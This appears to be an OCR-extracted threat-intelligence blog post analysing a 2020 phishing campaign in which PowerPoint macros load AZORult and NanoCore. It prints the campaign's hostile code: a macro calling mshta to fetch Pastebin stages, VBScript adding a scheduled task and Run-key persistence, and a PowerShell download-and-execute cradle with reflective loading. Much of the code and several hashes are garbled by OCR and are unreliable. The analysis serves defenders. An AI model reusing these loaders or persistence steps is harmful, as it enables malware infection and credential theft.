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In March 2020, Threatl.abz observed several Microsoft Office PowerPoint files being used in the wild by a threat
actor to spread AZORult and NanoCore RAT. The malicious files in this campaign used an interesting payload

delivery method that distinguishes it from the common malware delivery methods observed on a daily basis. The

infection chain is modular, with multiple stages involved before the final payload is executed on the machine.

Since the last week of March 2020, we observed a few changes in the encoding method and the macro code used

in the loader, which we will also describe in this blog.
This campaign is active in the wild at the time of this writing.

We provide a technical description of the infection chain and the unique indicators found in the files, which we
used to categorize the loader with a specific name. We also used the unique delivery method used in this
campaign, along with other attributes, to correlate this threat actor to the Aggah campaign, which was documented
in April 2019 by Unit 42.

The older instances of the campaign in 2019 were used to spread the Revenge RAT. In the new instances, we have

observed a few changes in the campaign in addition to the type of final payload delivered.

Email delivery method

The malware delivery method in this campaign involves sending Microsoft Office PowerPoint files as attachments

to the users. An example of the email is shown in Figure 1.
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® Bima Pradipta # 5 e
RMW PO 200100171 - PT RAFITAMA MILLENIAL WAHYUDI

Te: undisclosed-recipients

Hi,
Please refer to our attached new order. let us know your best price including shipping cost to our address below.
NOTE: Items in red ink must be shipped by express shipment.

Thank you for your kindly suppart.

Best regards,
Bima Pradipta A
Purchasing & Import

| ™
* RAFITAMA
MILLENIAL WAHYUDI
Phone  : 62-21 - 54210098
Fax : 62-21 - 54210099
Aderess : JI. Boulevard Raya, Graha Saphire Blok M5 No. 9C

Gading Serpong, Tangerang, 15810.

This email message, including accompanying communications and attachments, is strictly confidential, for the sole use of the intended recipient(s) and may contain privileged information. Any unauthorized use, review, disclosure or
distribution is prohibited. If you are nat the intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message. Thank you.

bPlease consider the envirenment before printing this e-mail.
=
3
20200330,U30
181529080.ppt

Figure 1: An email targeting users in Indonesia.

Figure 2 shows two more email samples that show the threat actor targeting users in South Korea.

® JHJun & o miedn s o
Analysis Reports From IDS Group

To: undisclosed-recipients:

Hi,
As requested, please find attached analysis reports,

Should you have any gueries in relation to the attached analysis reports, please do not hesitate to contact us.
Thank you and best regards,

JHIUN (Ms.) / KYAHN (Mr) - IDS
Ips

IDS GROUP CO., LTD

#105, Byoksan digital vally 3 cha, 271, Digital-ro
Guro-gu, Seoul, Korea
Tel: +82-2-2025-1150
Fax: 82-2-2025-1154

=
*
Analysis
Reports.ppt

Figure 2: An email targeting South Korean users with an analysis report theme.
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® Thomas Stone & - t
RE: P/O Proposal w

To: yoonycEE@hanmail.net

Hello,
| hope you are having & gaod day.

Please provide a working mobide nurmber | can reach you on, s |
have tried countless times o connect with you atter our last
conversation bud all efforts proved abartive.

| have gone thraugh your partolia and | must commend your
achievements so far. Great job!

My Boss has expressed his interest in establishing a leading
business relationship with your firm and trust that we can
turther achelve even more.

Also note that all outstanding payment from the previous invoice
will be paid complately betore the new deal commencas

Kinely view the attached PIO proposal and | would appreciabe your
suggestions on the figures and commission.

Kindest Regards,

H°)

Thomas Stone. Propasal PO.ppt

Figure 3: An email targeting South Korea users with a business proposal theme.

Based on the analysis of the email content and email headers, we concluded that this threat actor has been actively
targeting users in the Asian subcontinent, specifically South Korea and Indonesia. The content of the emails

varies from business proposals to product price negotiations.

Technical analysis of the multistage loader

We will take a Microsoft Office PowerPoint file as an example to demonstrate the infection chain and the various

steps involved in it.

The MDS5 hash for this is: 0b0b570451b699d96¢70ebf400628caa.

Macro-based downloader [Stage 1]

The PowerPoint file contains a macro that leverages mshta to download the next stage payload from Pastebin.

Auto_Close() in the macro ensures that the malicious code is executed only when the file is closed.

All the instances we observed in March 2020 were using j.mp as the shortened URL service to download the next

stage payload.

The relevant macro code is shown in Figure 4.

1 Sub animations()
# Luro_Close
End Sub

oW

w

Sub Auto_Close()
Shell ™" 4+ "UU" 4 fpsT 4 Thea 4 "UUT 4 omner o omn 4 owher 4 Peps® 4+ ":3) 5.7 + "mp\dahs734dds” + "dghaS4"""

End Sud

]l

Figure 4: The macro code in the Microsoft Office file used to download the next stage.

The shortened URL redirects to the Pastebin URL: hxxps://pastebin[.Jcom/raw/rsbLNHJg, which contains the
encoded next stage. We can see in Figure 5 that this Pastebin account belongs to the username LUNLAYLOO.
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'y © & ) https://pastebin.com/rsbLNHJg " '

11
%Es:,_“ PASTEBIN Go [PRO API TOOLS FAQ  DEALS + paste

king-power-6 [ f sHane |
LUNLAYLOO APR 5TH, 2020 126 NEVER m

Special offer for Pastebin.com users

Surfshark® 2-Year VPN Plan S].99/mo GETVPN

text 1.55 KB raw download clone embed report print
<script>
<l
document.write{unescape("%3Cscript%2@8languages3D%22%26%2386%3B%26%2366%3B%26%2383%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112
%3B%26%23116%3B%22%3E%0A%0A%BA%0A%27schedu lar%20%0A%BAC reatelbject%28%22WScript. She 1 1%22%29. Run%2@5t rReve rses28%22 /%2008%280m
/%20ETUNIM%20cs /%20etaerc/%205ksathcs%22%29%20+%20%22tn%20%22%2 2Pornhub%22%22%20/ 1 re20%22%22%5(%22%22%2Tmshta%5(%22%22%20ht tp
%3A%5C%5Cpastebin. com%5CrawsSCiNzQftaws22%22%20/ F%20%22%2C0%0A%0A%27 instant%20%0ACreateObject%28%22WScript. She 11%22%29. Run%20%22
%22%22mshta%22%22%22%22http%3A%5C%5Cpastebin. coms5Craws5CiNzQftqwh22%22%22%0A%0A%0A%27 custome r¥20backup%@ACreateObject
%28%22WScript.Shell%22%29. RegWrite%s28%22HKCU%5CSof tware%s5CMicrosoft%5CWindows%5CCurrentVersion%s5CRun%5CBACKup2%22%2C%20%22%22%22m
%22%20+%20%225%22%20+%20%22n%22%20+%20%221%22%20+%20%222%22%22%22%22ht t p%3A%5C%5Cpas tebin. com%5Craws5CwmU2hRgd%22%22%22%2C
%20%22REG_SZ%22%0A%0A%2Tmine%20backup%@A%0ACreate0bject®28%22WScript. Shel1%22%29. RegWrite
%20%22HKCU%5CSoftwares5CMicrosoft%5CWindows%s5CCurrentVersion%5CRun%5CBACKUP3%22%2 (%2 0%22%22%2 2m%2 2%2 0+%20%225%22%20+%20%22h
%22%20+%20%221%22%20+%20%22a%22%22%22%22ht 1 p%3A%5C%5Cpastebin. coms5Craws5ChxKddkars22%22%22%2(%20%2 2REG_SZ%22%0A%0A%0A
%27 run%20once%2@defendersBACreatelbject%28%22WScript.Shell%22%29, RegWrite
%20%22HKCU%5CSoftwares5CMicrosoft%5CWindowss5CCurrentVersions5CRuUNONCces5C%22%2C%20%2 2%22%22m%22%20+%20%225%22%20+%20%2 2h%22
%20+%20%221%22%20+%20%22a%22%22%22%22ht tp%3A%5C%5Cpastebin. coms5C raws5Cv2US10AY%22%22%22%2C%20%22REGC_SZ%22%0A%0A%0A
%0A%BAseLf. closes@A%3C/scripts3Es0A%aA") ) ;
1=

</script>

Figure 5: The encoded content of the next stage hosted on Pastebin.

Figure 6 shows a screenshot of the Pastebin account hosting this content. All the content hosted by this user on

Pastebin is set to private.
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@ © & https://pastebin.com/u/lunlayloo

1t
%‘{_" PASTEBIN o8 s Toos  FaQ

Lunlayloo's Pastebin

907 0 228 DAYS AGO

Lunlayloo has no public pastes.

Figure 6: All the pastes under the username Lunlayloo on Pastebin are set to private.

Among all the samples we analyzed in this campaign, the Pastebin accounts that were used to host the multiple

stages belonged only to three individuals (listed below) and they were re-used across all the samples.

e lunlayloo

e redcobalt

* gogga’
JavaScript loader [Stage 2]

With the help of a macro, it downloads an encoded VBScript from Pastebin as shown in Figure 7.

<script>

< ==

document . vrite{unescape(

f1-->
</scripty

Figure 7: The obfuscated JavaScript downloaded by the macro.

The encoding method used was consistent across all the samples we observed in March 2020. In the newer

variants seen in the wild, we observed a few changes in the encoding method, which we will describe later in this

blog.

The URL-encoded text was decoded using the unescape() function.
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The decoded script is a VBScript as shown in Figure 8.

<acript lenguage="sH06; c#66; s§03; e#95; e¥114; sF105; e#112; eF116; ">

schedular

Createdbject{ "WScript.5hell”).Run StrReverse(”/ 08 om/ ETUNIM cs/ etaerc/ sksathes™) + "tn ""Pornhub®® ftr "M, ""ipsheel ™" heep:))pastebin. comlrav) iNed: gl
instant
Createdbiect( "U3c: 2117y . Run " t astebi mh EaU INzZOLT

customer hackup
Createtbject({ "WScript.Shell”).RegWrice “HEKCU)\Software\Nicrosofc)Vindows)CurrentVersion) Run)BACKuUpZ™, "*"m"” 4 "s" + "h" 4 "c* 4 "a**""hrep:))pascebin.comh rav) smlz hRgd ™"
"REG_SI" I

mwine backup

r 211"y .RegWrice "HECINS rosoft) Vind ntVersion) Runh BACKup3®, w4 + L Y

Createdbject{ "UScript.She
npEG SI"

run once defender
CreateObject{ "UScript.5he11").RegWrice "HECIh Software) Nicrosoft) Windows)CurrentVersion) BunOmoel ™, P""mM 4 3 & Mh" 4 Foit 4 Mgt
"REG_SI"

self.close
</scripty

Figure 8: The decoded VBScript used to download the next stage and start the infection chain.
The main operations performed at this stage are:

1. It creates a scheduled task with the name Pornhub. This task leverages mshta to download the next stage
payload from Pastebin as well. We observed the scheduled task name set to Pornhub in all the samples used
in this campaign, which is another indicator we used to correlate the samples.

2. The same command that was scheduled in step 1 is also immediately executed to start the infection chain.

3. It creates the following three Windows registry keys for persistence (used for the backup plan as the name

indicates) to ensure that the infection chain begins once the machine is restarted.

o HKCU\Software\Microsoft\Windows\CurrentVersion\Run\BACKup2
o HKCU\Software\Microsoft\Windows\Current Version\Run\BACKup3
o HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\

The fact that this VBScript ensures that a scheduled task is created and three backup Windows Registry keys are
created for persistence indicates that the attacker took extra measures to ensure that the infection chain starts on

the machine.

VBScript leverages PowerShell [Stage 3]

In Stage 3, another encoded VBScript is fetched from Pastebin as shown below.

<3cripts

g

document.vrite (uneacape ("$3Cecripts20languages DS 22526523865 3B%26%2366%3B% 265230833 BY26%239053B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%22%3E5%0ASecs20mun%20%30%20C
eatelbjects2E5trReverses28%22 1l lehS. CplroSWs 22%29%20%0A1111%20%3D%20%22p%225204%20%220%22%204+5205%22wh22%204%20%22e%22%204%20%22r%22%204520%220hes22520+520%2211%20d40%20%7B%24
Ppings20%3D%20test—connections20-compy20google. com¥20-councs201%20-0uiecs 705 20unc11%20%2B%24pings29%3B%24p225%20%3 0% 20%SBEnums SP% 3 4% 34ToOb ject52B85 5BSyatem. Net . Secuv 2252045 20%
22ricyProtocolTypesShs2C%203072%29%3B5% 5BSyaten.Net. ServicePolintlanagers5D%3 A% 3 ASecur1tyProtocols20%3D%20%24p22%3B% 245305 20New-Objects20-Coms20Microsoft . XMLHTTPY3B%24t. open
S2O%2TGETS 275 2C 274225 2045204522 hs2 2% 2045205 228 225 20452052204 22%20+5 20422 ps 2252045 2032224225 204520522534/ /pastebin. cond 225 204520% 22 /raw/$22520+5 205 2202ebs 225 20+5 205 221 HGS 2
T%2C%24rfalses2950B5%24t . 5endv 204529530524t y53D5 5B Text . Encodings SP3IAS I AS27UTFO427. 52 76etSerings 275205 5BConvertsSDs 3AS A5 2 T romBase 645trings2 752065 24t . responseText 5295295 7CI5 60
E560Xs3B550Bytes SBYSDs5D524C11255D5%201ex%201ex520%2 75205265 200CH520YW-0"52952 7452052 TNeC . 527442 7WebCs27+52711encs 29527452 7. Dows 27+52Tnloads 27+5 275 ers 27452 7T1ngv 2052752 7Ths 22%
20+520%22t5225204520%22 E%ZZi2E+'<2D¥22p42Z%ZU+%ZUQZZS"22%2D+%2ﬂ%22%3ﬂ /P225204%20%22astebs 223 20+520%221n%22%204520%22.522520+4520%22C%225 20452052205 2252044205224 225204520%2
2/%22%20+4%20%22 :E\’/thslpr%ZTiZT%ZS.!eplac:e%ZB-kZ?%ZTK_E'xZ?"Z TH2CH2TAZTOXS 2 TI2TH29527525%2952047C5 209536524t 53D5 5B3yatem. Ref lection. Assemb 1y5 S5P5 3 A5 JALoads 265 24decompressedB
yreArrays29%3B35EGivarasSDs3AsIAFreeDomt 2652 Tnotepad, exes2752C524C112%29%2250A%0Amenn . Runs 20111 152C%20vbH1des DA% 0AS0AS0AS 0Ase 1. closesDAS 3C/ 2cE 1Pty 3E™) ) ;

A=

</=cripts

Figure 9: The encoded VBScript downloaded in Stage 3.
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This VBScript, once decoded, looks as shown in Figure 10.

<8CE1pT language="sHE6; SHE6; SHE3; SH99; SH114; cH105: ef112; sf116; ">
Set mmn = Createdbject (StrReverse ("llehS.cpircSu™))

1111 = Mp" & Mgf 4 Mygv 4 WeM | mpm 4 Pgper 4 w11 do {§ping = test-connection -comp google.com -count 1 -Quiec) uncil [$ping):$p22 = [Enum]::Tolbject ([System.Net.Secu” +
"rityProtocolType], 3072) :[System.Net.ServicePointHanager] ::SecurityProtocol = §p22:§t= New-Object -Com Microsoft.XMLHTTR:$t.open('GET®, '™ + Ph' & "eM 4 "cr 4 e 4 rae o
"1/ fpasteblin.com” 4+ "/raw/"™ + "SIZab" +

“EING' , §false);$t.send();§cy=[Text.Encoding] : : 'UTFE' . ' Gecdcring' ([Convert] ::'FrombasesdScring' (§t.responseTexc))|I'EX; [Byce[]]4CLiz= iex(iex(' (£{GCH *W-0%) '+
'Net.'+'WebC'+! lienc) '+'.Dow' +'nload' 4/ Scr'+'ing (' 'h" + MM 4 MO 4 Mol 4 Mgl g Ri/ pt 4 Maapeh® 4 MApM 4 MM 4 Mot o4 oMol g g oSy

“raw/xheshyOp' ') .replace ('K E'*,''0x' ') ")) | grfc=(System.Reflection.hssenbly) : :Load(jdecompressedByteldrray) ; [(Givara) : :Freebom(' notepad.exe’  §C112)"

mm.Run 1111, vhbHide

self.close
</script>

Figure 10: The VBScript uses PowerShell to load .NET assemblies.
As we can see in the decoded VBScript, it leverages PowerShell to continue the infection chain.
Below are the main operations performed by the PowerShell command line:

1. Set the TLS version to 1.2 by setting SecurityProtocolType to 3072.
2. Download a Base64 encoded blob from Pastebin. This Base64 encoded blob decodes to another
PowerShell script as shown in Figure 11. The script is executed by calling IEX (Invoke Execution). We

will describe this script in more detail later.

|[function Get-DecompressedByteldrray {

[CodletBindingd}]
FParam {[byte[]] SbyteArray)

| Process {
Urite-Verbose "Get-DecompressedByteirray"
§input = New-Object System. I0.MemoryStresm{ , $hyteArray )
Soutput = New-Object System. I0.MNemoryStream
SgzipStream = Hev-Chject Syscem. I10.Compression.GzipStream §input, ([I10.Compression.CompressionMode] ::Decompress)

Shuffer = New-Object byte[](1024)
| while{Strue) {
Sread = Sgzipstream.Resd(Shuffer, 4
if {Sread -le= U} (break}
Soutput. irice{Shufter, [, Sread)
H

[byte[]l] SbyteDuthrray = Soutput. Tolrray()
Urite-Outpuc $bytelutArray I

]

§t0='DEX' .replace( D’ ,'I')sal g §t0;[Byre[1]1§C1i=(
, 100, '00,'00,'00,!'00, '04, 00, 'D4,

Figure 11: The PowerShell code that is used to decompress the .NET loader.

It then downloads another payload from Pastebin. This payload contains the hex representation of the binary code
with the characters “K_E” instead of “0x” as shown in Figure 12. By performing a simple replace operation, this

payload is passed as a byte array to the function: [Givara]::FreeDom(). We will refer to this payload as payload2.
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C @ Not Secure | pastebin.com/raw/xhcsAyOp

K_E4D, K_E5A, K_E50, K_E00, K_E02, K _E00, K _E00, K_E00, K_E04, K_E00, K_EOF, K_E00,
K_EFF, K_EFF, K_E0O0, K_E0O0, K_EB8, K _E00, K E00, K_E00, K_E00, K EO0, K_E00, K_EO00,
K_E40, K_E00, K_ElA, K_E00, K_E00, K_E00, K _E0O0, K_E00, K_E00, K_E00, K_E00, K_E00,
K_E00, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00,
K_E00, K _E0O0, K_EO0, K_EO0, K_EO0, K_E00, K _E00, K_E00, K_E0O0, K_EO0, K_EO0, K_EO00,
K EO0, K EO1, K E00, K E00, K EBA, K E10, K E00, K EOE, K E1F, K EB4, K E09, K ECD,
K_E21, K_EB8, K_E01, K_E4C, K_ECD, K_E21, K_E90, K_E90, K_E54, K_E68, K_E69, K _E73,
K_E20, XK_E70, K_E72, K_E6F, K_E67, K_E72, K_E61, K_E6D, K_E20, K_E6D, K_E75, K_E73,
K_E74, K_E20, K_E62, K_E65, K_E20, K_E72, K E75, K_E6E, K_E20, K_E75, K_E6E, K_E64,
K _E65, K E72, K _E20, K E57, K E69, K E6E, K E33, K E32, K EOD, K EOA, K _E24, K E37,
K_E00, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00,
K_E00, K_E00, K_E00, K_EOD, K_E00, K_E00, K _E0O0, K_E00, K_E00, K_E00, K_E00, K_EOO,
K_E00, K_E00, K_E00, K_E00, K_E00, K _E00, K _E00, K_E00, K_E00, K_E00, K_E00, K_E00,
K_E00, K_E00, K _E00, K_E00, K_E00, K_E00, K_E00, K _E00, K_E00, K _E00, K_EO00, K _E00,
K_E00, K_E00, K_E00, K_EO0, K_E00, K_E00, K _E0O0, K_E00, K_E00, K_E00, K_E00, K_E00,
K_EO0, K_EO00, K_E00, K_EO0, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00,
¥_E00, ¥_E00, K_E0O0, K_E0O0, K_E00, K_E00, K _E00, K_E00, K _E00, K_E0O0, K_E00, K_EO00,
K_EO0, K_E00, K_E00, K_E00, K_E00, K _E00, K _E0O0, K_E00, K_E00, K_E00, K_E00, K_E00,
K_E00, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00,
K_EO0, K_E00, K_E00, K_E00, K_E00, K _E00, K _E00, K_E00, K_E00, K_E00, K_E00, K_E00,
K_EO0, K_E00, K_E00, K_EO0, K_E00, K_E00, K _E0O0, K_E00, K_E00, K_E00, K_E00, K_E00,
K_E00, K_EO00, K_E00, K_E00, K_E50, K_E45, K_E00, K_E00, K_E4C, K_E01, K_E05, K_E00,
K_E19, K_ESE, K_E42, K_E2A, K_E00, K_E00, K_E00, K_E00, K_E00, K_E0O0, K_E00, K_E00,
K_EE0, K_E00, K_EBE, K_E81, K_EOB, K _E0l, K _E02, K_E19, K _E00, K_E98, K_E01, K_E00,
K_E00, K_E24, K_E00, K_EO0, K_E00, K _E00, K E00, K_E00, K_E84, K_EA6, K_E01, K_E00,
K_E00, K_E10, K_E00, K_E00, K_E00, K_EBO, K_EO1, K_E00, K_E00, K_E00, K_E40, K_E00,
K_E00, K_E10, K_E00, K_EO0, K_E00, K_E02, K _E0O0, K_E00, K_E0O4, K_E00, K_E00, K_EO0,
K_E00, K_E00, K_E00, K_EO00, K_E0O4, K _E00, K _E00, K_E00, K_E00, K_E00, K_E00, K_E00,
K_E00, K _E00, K_E02, K_E00, K _E00, K _E04, K E00, K_E00, K_E00, K_E00, K_E00, K _E00,
K_EO2, K_E00, K_E00, K_EO0, K_E00, K _E00, K _E10, K_E00, K_E00, K_E40, K_E00, K_E00,
K_E00, K_E00, K_E10, K_E00, K_E00, K_E10, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00,
K_E10, K_E00, K_E00, K_E00, K_E00, K _E00, K _E0O0, K_E00, K_E00, K_E00, K_E00, K _E00,
K _EO0, K _EDO, K E01, K E00, K E9E, K E07, K E00, K E0O0, K E00, K E00, K E00, K E00,
K_E00, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00,
K_EO00, K_E00, K_E00, K_E00, K_E00, K_E00, K _E00, K_E00, K_E00, K_EE0, K_E01, K_E00,
K_ESC, K_E13, K_E00, K_E00, K_E00, K_E00, K _E0O0, K_E00, K_E00, K_E00, K_E00, K_E00,
K _E00, K _E00, K E00, K E0O0, K EO0, K E00, K E00, K E0O0, K E00, K E00, K E00, K E00,
K_E00, XK_E00, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00, XK_E00,
K_E00, K_E00, K_E00, K_EO0, K_E00, K_E00, K _E00, K_E00, K_E00, K_E00, K_E00, K_EOO,
K_E00, K_E00, K_E00, K_E00, K_E00, K _E00, K _E0O0, K_E00, K_E00, K_E00, K_E00, K_E00,
K_E00, XK _E00, K_E00, K_E00, K E00, K E00, K E00, K _E00, K E00, K_E00, K_E00, K _E00,
K_E00, K_E00, K_E00, K_E0O0, K_EO0, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00, K_E00,
K_E43, K_E4F, K_E44, K_E45, K_E00, K_E00, K_E00, K_E00, K_EBO, K_E96, K_E01, K_E00,
K_E00, K _E10, K_E00, K_E00, K_E00, K _E98, K EO1, K_E00, K_E00, K_E04, K_E00, K _E00,
K_EO0, K_EO00, K_E00, K_E00, K_E00, K _E00, K _E0O0, K_E00, K_E00, K_E00, K_E00, K_E00,
K_E20, K_E00, K_E00, K_E60, K_Ed44, K _E4l, K E54, K_E41, K_E00, K_E00, K_E00, K_E00,

Figure 12: The encoded malicious binary downloaded from Pastebin.
The MD5 hash of the payload is: 60221d709e0ad65bb23bd00a3977c55d

This corresponds to the AZORult Delphi binary file. We will not be describing the functionality of this binary in
detail in this blog since it is a well-known infostealer. The strings are available in plain text and the screenshot in
Figure 13 shows the strings corresponding to information it steals (Skype, Telegram, Steam, cryptocurrencies,

Pidgin and others).
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U 000000O0CEDES 00000040C9B8 O UseMame

{4 D000DOOOC444  000DOD40D044 O <jid>

U 00000000C7A4 000000400344 O “accounts.xml

4 00000000CB78  00000040D778 O ZAPPDATAZN puipletaccounts,xml
{4 D00ODODOD2C0  DONDOD40DECD O %TEMPR\curbuf dat
U 00000000D77C OOOOOO40E37C O %TEMP%

i 00000000DCDC 0O0OOO40EBDC O %TEMP%Z

4 000000O0CE1BO  OOQOOO40EDBO O %TEMP%

U 0D0OOODOESEC  0O0OOO40F1GC O “Cookies

Ui 00OOOO0OECFC  0OOOOC4O0FSFC O W bt

4 00000000ED1E  0O000040F318 0 Y coo

U 0000OODOFFSS  0O0OODO410B88 O %TEMP%

U 000000010244  0O00OC410E44 O %TEMP%

4 0000000105688 000000411188 0 %TEMPZ

U 000000011CSC  00000041286C O %TEMP%

U 000000012094 000000412C94 O %TEMP%

U 000000012410 000000413010 0 “History

Ui 000000012648 000000413248 O ‘places. sqlite

U 000000014248 000000414E48 O 2APPDATAZASkype
U 0000000142E0  0O00OO414EED O main.db

U 0000000142F4  0O0OOO414EF4 O Ymain.db

Ui 0000000145C0  0O00OO4151CO O SteamPath

U 000000014508 000000415108 O Softwarey/ alve\Steam
U 000000014618 000000415218 0 \ssfn®

Ui 00000001462C  000OOO41522C O \Configh® vdf

U 00000001464C  00000041524C O “Configh

U 00000O0151E4  0O00OO415DE4 O ZAPPDATAN

U 000000015214 0O0OOC415E14 O ‘autoscanh

Ui 000000015230  0O00OO415E30 O “Monerah

U 000000015248  0O00OO415E48 O .address.txt

U 000000015268  0O0OOO415E68 O keys

U 000000015278 0OOOOO415E78 O Software',

U 000000015290 000000415690 O stiDataDir

4 00000O015CE4  0O0OOO4168E4 O CPU Model:

U 00000001835C  0O000O418FSC O ZTEMPR\

Ui 000000018370 000000418F70 0 %PROGRAMDATAZN
Ui 000OODDTS5EC  0OOOOO41ATEC O Coing

U 000000019608 000000414208 O Skype

U 000000019618 0O00OO41AZ18 O Telegram

U 000000019630 00000041A230 O DB77F78305" map”
U 000000019658 000000414258 O *appdata®\Telegram Desktopitdata',
{4 000000019640 DOODOD41A240 O Steam

U 00000001964C  00000041AZAC O image/ipeg

Ui 0000000159838 000000414438 O Zocomspec?

4 000000019850 000000414450 0 Jo ZwWANDIR Zhsystem32timenut exe 3 & del ™

Figure 13: The Unicode strings in the binary file that corresponds to the information stolen.

Across all the samples we observed in this campaign, the final payload varied between AZORult and NanoCore

infostealer binaries.
We observed that the function name [Givara]::FreeDom() in the loader was consistent across all the samples.

The function name appears to be a reference to Che Guevara who is remembered as a freedom fighter by many.

PowerShell starts the FreeDom loader [Stage 4]

Let's take a look at the PowerShell script, which was downloaded in step 2 of stage 3. This PowerShell script
contains a GZip compressed .NET binary, which will be decompressed and stored in the

variable $decompressedByteArray

Stage 3 will reference the variable $decompressedByteArray to load it as a .NET assembly using the
method [System.Reflection. Assembly]::Load().

The MD5 hash of the loader is: ¢726636d2b7{8c838f7f882071181¢95.

The method [Givara]::FreeDom() is defined in the .NET loader and it is used to load the infostealer malicious
binary (in this case, AZORult).

So the payload execution is triggered using the following syntax:
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Guevara_Loader. [Givara]::FreeDom(‘notepad.exe’, infostealer_binary)

Here, Guevara_Loader refers to the .NET binary used to load and inject the final infostealer binary in the

notepad.exe process.

It is important to note that there were no changes made to the loader binary by the threat actor throughout the

campaign.

FreeDom .NET loader analysis

The .NET loader binary is protected using the Confuser Ex 1.0.0 obfuscator.

On VirusTotal, the first instance of the loader was observed on January 16, 2020.

After removing the Confuser Ex 1.0.0 protection, we can decompile the binary successfully.

The [Givara]::FreeDom function, which is passed the string, notepad.exe and the AZORult binary, is shown in

Figure 14.

Figure 14: This is the main function of the FreeDom loader.
The parameters for FreeDom function are as follows:
FTONJ — A string called notepad.exe

Coco — The byte array corresponding to the AZORult binary

The HeHe class checks for the presence of notepad.exe in different system paths on the machine. Once it locates

the file, it passes that to the tickleme() function along with the AZORult byte array as shown in Figure 15.
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FTON3,

", FTOND);
" FTOND);

k"), FTON]),

Figure 15: It check for the presence of notepad.exe and injects the AZORult binary into it.

The tickleme() function, in turn, calls a function called FUN(), which is responsible for starting a new instance of

the notepad.exe process and injecting the AZORult binary into it using the process hollowing method.

Macro code changes in new variants

The newer variants in this campaign updated the encoding method and the macro used.

As an example, let us look at a macro-based PowerPoint file with MD5 hash:
7db36d502e4a1d35873c8a0c51bafbbf

The newer variant of the macro is as shown in Figure 16.

Sub Auto Close(}
Craatechiect{"i £117) . Regirice "HEC o - a5 W, MmEgn 4 mam g WR 4 wpn g mame

End Sub

Figure 16: The macro code in the new variant.

In this new variant, the macro creates a Windows persistence key in the location:
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\ and adds the command line to leverage mshta to

download the malicious next stage payload.
As a result, the infection chain does not start unless the machine is rebooted.

Also, we observed the macro using the bit.ly URL shortening link directly instead of the j.mp URL shortening link

observed in the previous variant.

Encoding changes in the new variant
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The other key change we observed in the new variant is in the script encoding used for each stage. In the previous
variant, the encoding method was simple because it just involved URL encoding and the unescape() function was

called to decode it.

An example of the new encoding method is as shown in Figure 17.

<script type="text/javascript”>

<t==

eval {unescape (%668 755 6e% 635 T4 695 6Ly fek 20t ar3 v 3083953 143653 1% 3 TR 64% 63420 T34 29%20% TheOas08s 765615 725205726205 3d5 205225225 3bs 0as 055 765 615 T25 205 T4 A% TOFZ0% 3dR 204 T3%2es T3%
TOEBCHBOE TAE 28R 22 325305356 345305385 305345225 29% 3% 0as00s TIR 205304205 755 6% 655 TIH 63X 6L TORA55 255 T4% 6ds TOE S 30550529 3% 0ak 095 605 205 IAR 205 755 6k 658 T34 635614 TORE55 285 745 6d% T
O6She3 1506205 20%2 062253763253 T35 365315 22529%3D%0a% 09, 665 6EL T2, 28520 TER6LET25 205695205 315205 30% 305203 6952 0% 305206 T34 205 60k 655 6 675 T4 695 30520, 695 2hk 2Dk 29520k Thh DAk 095039
&T2e20%2hEIdr20R53E T4 72060 Gek 6T 2ot 66 T2 L 6L 6l 434 6061 T2 43 6L4 4R 6542020 TORA1E T2 TIRA5L 498 6me T4 20k 6he 2ot 63R66L 61 T2 e 418 74R 264 69,25k 6hk 2ok 6ok 65k 6er 6T T4k 60425429k Stk
TIREekB3RAOEE1RT2RAIN6ER 6 651 TAR 20K 69%29% 2% 2D 243453295 3N 0nk 095 TAR0aR0IE TZ 655 TAR 754 TZR 604205724 3k 0n% 7dk0a" ) ) ¢

eval {unescape (‘%61 6CcY 658 T2 74%20% 608 3430439163681 3TH64% 6320427 ) +

R TIRG2N TINESR TSR T2 IR TN 62 TEN 6 TOR 66 6L 6t 4442t 2R 0% IDYIONIB 22 1% 3D IO IDN2L224344 36530 2A25%3ak3I0%IFZDA24% I 14304 3dR I THZDA 20432836 Jet DR 2Ch2 6836 I 1IN0k
426%32%32%30%30%22%449%10%0d% 15%0b% 143064 104093404 T44 6o 614 Ter 604504 623 6bh 6ck 6L 742D 2 14 554508 634704 6C 774 Toe I T4 524642 68 77477424524 364504 7B T1%204 523 Tds Ted ST 6ot Tde 6D 714
IR 6LA 20253 TRE 1T 143425 TANT6Y I 15235 4d 5oy 508 51494 54¥ 2 19 6L 762 I 4204 6bY 7L 6 LA 6LR T TR 6483722 14723674 764623 7L4 604602 7TI420%2c%2742be2 19238708 7342342153244 534 7758704 732 6L4 7d4 6
2R 2eR 2SN I TLR AN IR 220N 61825422 T4 T2 69 TON 62N 6TI2 44215203 6a% T ThE 7O IDY 65460 751624704 Tar 6k 623 6bYTINI 13634 7Y T4 604 TTH62 Tou 623424564304 7AL 7O S0 4cu b 2eI2THEIIY
%4B%23522436%35%120a% 144003 19%0E4 404 715 6b4 623 7To8 614525654 60 603623 70242 1450 554604 72 63 754 Ty 364 523 69961y T13 774213 25354529 78 734273 224233233 794 T2 60 TEA 6732 14224209274
BE3 7o TdR 718364613674 733678 T0RTCA 6L 674603 765373623 Th5 704673715673 7c4 645433535354 783 745194153 6a521321%245 163023 17305 4453 722 603 603 702 605 543 613 604 64 633 Tev 2d3 255 5E4 523625 Ted 6
373373305504 683 6L4 7137352292033 74 504603 603 50474 6a3TCy 6I32 54257405 4mv 423514613 505744 663 7L5 TEY 633774 603 645543 663 6£3 774793705 713 603 Tk 664 5at 6e3 761 643 76 T3 T696TH 405 THRT1372
